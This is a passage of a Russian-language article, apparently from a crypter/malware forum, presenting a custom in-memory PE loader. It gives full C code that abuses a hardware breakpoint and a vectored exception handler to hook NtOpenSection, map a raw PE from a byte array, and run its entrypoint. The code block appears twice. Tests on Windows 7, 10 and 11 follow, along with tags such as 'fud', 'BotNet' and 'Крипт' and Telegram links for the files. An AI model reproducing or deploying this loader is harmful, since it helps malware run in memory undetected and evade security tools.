шеллкодах. Здесь происходит инициализация структуры LL_WRAPPER , установка HWBP, добавление VEH-обработчика и т.д. [LEFT]int main(void) { HMODULE ntdll = GetModuleHandleA("ntdll.dll"); HANDLE hSection = NULL, hModule = NULL; LL_WRAPPER lwe; PVOID DllBase; PVOID entrypoint; //init apis lwe.pRtlCompareUnicodeString = (TD_RtlCompareUnicodeString) GetProcAddress(ntdll, "RtlCompareUnicodeString"); lwe.pRtlCreateUnicodeString = (TD_RtlCreateUnicodeString) GetProcAddress(ntdll, "RtlCreateUnicodeString"); lwe.pRtlAllocateHeap = (TD_RtlAllocateHeap) GetProcAddress(ntdll, "RtlAllocateHeap"); lwe.pZwGetContextThread = (TD_NtGetContextThread) GetProcAddress(ntdll, "NtGetContextThread"); lwe.pRtlFreeHeap = (TD_RtlFreeHeap) GetProcAddress(ntdll, "RtlFreeHeap"); lwe.pZwContinue = (TD_NtContinue) GetProcAddress(ntdll, "NtContinue"); lwe.pZwCreateSection = (TD_NtCreateSection) GetProcAddress(ntdll, "NtCreateSection"); lwe.pZwUnmapViewOfSection = (TD_NtUnmapViewOfSection) GetProcAddress(ntdll, "NtUnmapViewOfSection"); lwe.pZwOpenSection = (ULONG_PTR) GetProcAddress(ntdll, "NtOpenSection"); lwe.pZwMapViewOfSection = (TD_NtMapViewOfSection) GetProcAddress(ntdll, "NtMapViewOfSection"); lwe.pZwClose = (ULONG_PTR) GetProcAddress(ntdll, "NtClose"); lwe.pZwQueryObject = (TD_NtQueryObject) GetProcAddress(ntdll, "NtQueryObject"); //init required strings lwe.pRtlCreateUnicodeString(&lwe.Directory, L"\\KnownDlls"); lwe.pRtlCreateUnicodeString(&lwe.Directory32, L"\\KnownDlls32"); lwe.pRtlCreateUnicodeString(&lwe.DllName, DLL_NAME); //create image section if(!LdrCreateImageSection(&lwe, rawData)){ DPRINT("Unable to create Image section from raw PE. Something wrong..."); return -1; } lwe.status = ZwOpenSection; // add veh handler PVOID hVeh = AddVectoredExceptionHandler(1, veh); // set hwbp prepare(lwe.pZwOpenSection, NULL, &lwe); //lesgoo hModule = LoadLibraryW(DLL_NAME); RemoveVectoredExceptionHandler(hVeh); DPRINT("Module base: %p", hModule); //fix if it's .exe if(!lwe.is_dll) { DPRINT("Your file is .exe, so it's required to update ImageBaseAddress in PEB with loaded .exe"); NtCurrentTeb()->ProcessEnvironmentBlock->ImageBaseAddress = hModule; entrypoint = RVA2VA(PVOID, hModule, lwe.entrypoint); DPRINT("Executing .exe entrypoint: %p", entrypoint); ((void(*)())entrypoint)(); } return 0; }[/LEFT] C [LEFT]int main(void) { HMODULE ntdll = GetModuleHandleA("ntdll.dll"); HANDLE hSection = NULL, hModule = NULL; LL_WRAPPER lwe; PVOID DllBase; PVOID entrypoint; //init apis lwe.pRtlCompareUnicodeString = (TD_RtlCompareUnicodeString) GetProcAddress(ntdll, "RtlCompareUnicodeString"); lwe.pRtlCreateUnicodeString = (TD_RtlCreateUnicodeString) GetProcAddress(ntdll, "RtlCreateUnicodeString"); lwe.pRtlAllocateHeap = (TD_RtlAllocateHeap) GetProcAddress(ntdll, "RtlAllocateHeap"); lwe.pZwGetContextThread = (TD_NtGetContextThread) GetProcAddress(ntdll, "NtGetContextThread"); lwe.pRtlFreeHeap = (TD_RtlFreeHeap) GetProcAddress(ntdll, "RtlFreeHeap"); lwe.pZwContinue = (TD_NtContinue) GetProcAddress(ntdll, "NtContinue"); lwe.pZwCreateSection = (TD_NtCreateSection) GetProcAddress(ntdll, "NtCreateSection"); lwe.pZwUnmapViewOfSection = (TD_NtUnmapViewOfSection) GetProcAddress(ntdll, "NtUnmapViewOfSection"); lwe.pZwOpenSection = (ULONG_PTR) GetProcAddress(ntdll, "NtOpenSection"); lwe.pZwMapViewOfSection = (TD_NtMapViewOfSection) GetProcAddress(ntdll, "NtMapViewOfSection"); lwe.pZwClose = (ULONG_PTR) GetProcAddress(ntdll, "NtClose"); lwe.pZwQueryObject = (TD_NtQueryObject) GetProcAddress(ntdll, "NtQueryObject"); //init required strings lwe.pRtlCreateUnicodeString(&lwe.Directory, L"\\KnownDlls"); lwe.pRtlCreateUnicodeString(&lwe.Directory32, L"\\KnownDlls32"); lwe.pRtlCreateUnicodeString(&lwe.DllName, DLL_NAME); //create image section if(!LdrCreateImageSection(&lwe, rawData)){ DPRINT("Unable to create Image section from raw PE. Something wrong..."); return -1; } lwe.status = ZwOpenSection; // add veh handler PVOID hVeh = AddVectoredExceptionHandler(1, veh); // set hwbp prepare(lwe.pZwOpenSection, NULL, &lwe); //lesgoo hModule = LoadLibraryW(DLL_NAME); RemoveVectoredExceptionHandler(hVeh); DPRINT("Module base: %p", hModule); //fix if it's .exe if(!lwe.is_dll) { DPRINT("Your file is .exe, so it's required to update ImageBaseAddress in PEB with loaded .exe"); NtCurrentTeb()->ProcessEnvironmentBlock->ImageBaseAddress = hModule; entrypoint = RVA2VA(PVOID, hModule, lwe.entrypoint); DPRINT("Executing .exe entrypoint: %p", entrypoint); ((void(*)())entrypoint)(); } return 0; }[/LEFT] Тесты Тесты Итак, целевой образ. Возьмем условный messagebox (x64), который выводит свой базовый адрес, и проверим работоспособность загрузчика. (разместим его в виде массива байт в заголовке) Откроем средства сборки для х64, скомпилируем загрузчик с флагом / DDEBUG (для наглядности), и, давайте же уже, проверим работоспособность нашего загрузчика на Win7/10/11 Начнём с Windows 7 ✅ Всё работает корректно Windows 10 (22H2) ✅ Всё работает корректно Windows 11 ✅ Всё работает корректно Также, проверим обычный calc.exe на Win10/11 Windows 10 ✅ Всё работает корректно Windows 11 Заключение Заключение В заключении хочу сказать, что загрузчик очень даже хорош, он обеспечивает неплохое покрытие файлов, а также он очень прост в реализации. Всем спасибо за прочтение. Контакты Telegram канал https://t.me/Glitch_news_channel ID: -1001973186772 Telegram саппорта https://t.me/glitch_supportV2 ID: 7450400900 Telegram бот https://t.me/GlitchProjectV2_bot ID: 7380735475 Все файлы к статье находятся в Telegram канале Крипт, LoadLibrary Reloaded, fud, BotNet, запуск файла в памяти, *******, PE, PE файлы, pe, dll, exe, crypt, фуд, С++, C++, C, x64, x32, x86, байт код